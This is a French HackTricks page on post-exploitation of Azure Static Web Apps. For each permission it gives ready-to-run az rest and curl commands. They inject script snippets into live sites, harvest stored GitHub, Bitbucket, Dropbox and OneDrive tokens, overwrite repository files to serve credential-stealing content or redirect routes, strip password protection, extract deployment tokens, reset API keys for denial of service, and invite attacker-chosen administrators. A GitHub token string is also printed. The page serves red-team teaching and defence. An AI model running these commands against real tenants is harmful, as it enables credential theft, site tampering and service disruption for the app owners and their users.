Az - Static Web Apps Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Azure Static Web Apps

Pour plus d’informations sur ce service, consultez :

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d’injecter du code JS dans l’application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3).

La commande suivante crée un extrait qui sera toujours chargé par l’application web :

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Lire les identifiants de tiers configurés

Comme expliqué dans la section App Service :

Az - App Services Privesc

En exécutant la commande suivante, il est possible de lire les identifiants de tiers configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d’un autre.

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.

Voici quelques exemples de commandes pour vérifier les jetons :

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Écraser un fichier - Écraser des routes, HTML, JS…

Il est possible de écraser un fichier à l’intérieur du dépôt Github contenant l’application via Azure en utilisant le token Github pour envoyer une requête telle que celle-ci, qui indiquera le chemin du fichier à écraser, le contenu du fichier et le message de commit.

Cela peut être exploité par des attaquants pour essentiellement modifier le contenu de l’application web afin de servir un contenu malveillant (voler des identifiants, des clés mnémotechniques…) ou simplement pour rediriger certains chemins vers leurs propres serveurs en écrasant le fichier staticwebapp.config.json.

Warning

Notez que si un attaquant parvient à compromettre le dépôt Github de quelque manière que ce soit, il peut également écraser le fichier directement depuis Github.

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

Avec cette autorisation, il est possible de modifier le mot de passe protégeant une application web statique ou même de déprotéger chaque environnement en envoyant une requête telle que la suivante :

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

Cette permission permet d’obtenir le jeton de déploiement de clé API pour l’application statique :

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Ensuite, afin de mettre à jour une application en utilisant le token, vous pourriez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant comment fonctionne Github Action https://github.com/Azure/static-web-apps-deploy, car c’est celle qu’Azure a définie par défaut à utiliser. Ainsi, l’image et les paramètres pourraient changer à l’avenir.

Tip

Pour déployer l’application, vous pourriez utiliser l’outil swa de https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou suivre les étapes brutes suivantes :

  1. Téléchargez le dépôt https://github.com/staticwebdev/react-basic (ou tout autre dépôt que vous souhaitez déployer) et exécutez cd react-basic.
  2. Modifiez le code que vous souhaitez déployer.
  3. Déployez-le en exécutant (N’oubliez pas de changer le <api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

Même si vous avez le token, vous ne pourrez pas déployer l’application si la Politique d’Autorisation de Déploiement est définie sur Github. Pour utiliser le token, vous aurez besoin de la permission Microsoft.Web/staticSites/write pour changer la méthode de déploiement afin d’utiliser le token API.

Microsoft.Web/staticSites/write

Avec cette permission, il est possible de changer la source de l’application web statique vers un autre dépôt Github, cependant, cela ne sera pas provisionné automatiquement car cela doit être fait à partir d’une action Github.

Cependant, si la Politique d’Autorisation de Déploiement est définie sur Github, il est possible de mettre à jour l’application à partir du nouveau dépôt source !.

Dans le cas où la Politique d’Autorisation de Déploiement n’est pas définie sur Github, vous pouvez la changer avec la même permission Microsoft.Web/staticSites/write.

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

Exemple d’Action Github pour déployer l’application :

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

Avec cette permission, il est possible de réinitialiser la clé API de l’application web statique, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l’application.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

Cette permission permet de créer une invitation à un utilisateur pour accéder à des chemins protégés à l’intérieur d’une application web statique avec un rôle spécifique donné.

La connexion se trouve dans un chemin tel que /.auth/login/github pour github ou /.auth/login/aad pour Entra ID et un utilisateur peut être invité avec la commande suivante :

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

Par défaut, les Pull Requests d’une branche dans le même dépôt seront automatiquement compilées et construites dans un environnement de staging. Cela pourrait être abusé par un attaquant ayant un accès en écriture sur le dépôt mais sans pouvoir contourner les protections de branche de la branche de production (généralement main) pour déployer une version malveillante de l’application dans l’URL de staging.

L’URL de staging a ce format : https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> comme : https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

Notez qu’en règle générale, les PR externes ne lanceront pas de workflows à moins qu’elles n’aient fusionné au moins 1 PR dans le dépôt. Un attaquant pourrait envoyer une PR valide au dépôt et ensuite envoyer une PR malveillante au dépôt pour déployer l’application malveillante dans l’environnement de staging. CEPENDANT, il existe une protection inattendue, l’action Github par défaut pour déployer dans l’application web statique a besoin d’accès au secret contenant le token de déploiement (comme secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) même si le déploiement est effectué avec l’IDToken. Cela signifie qu’une PR externe n’aura pas accès à ce secret et qu’une PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu’une PR soit acceptée, cette attaque ne fonctionnera donc pas vraiment.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks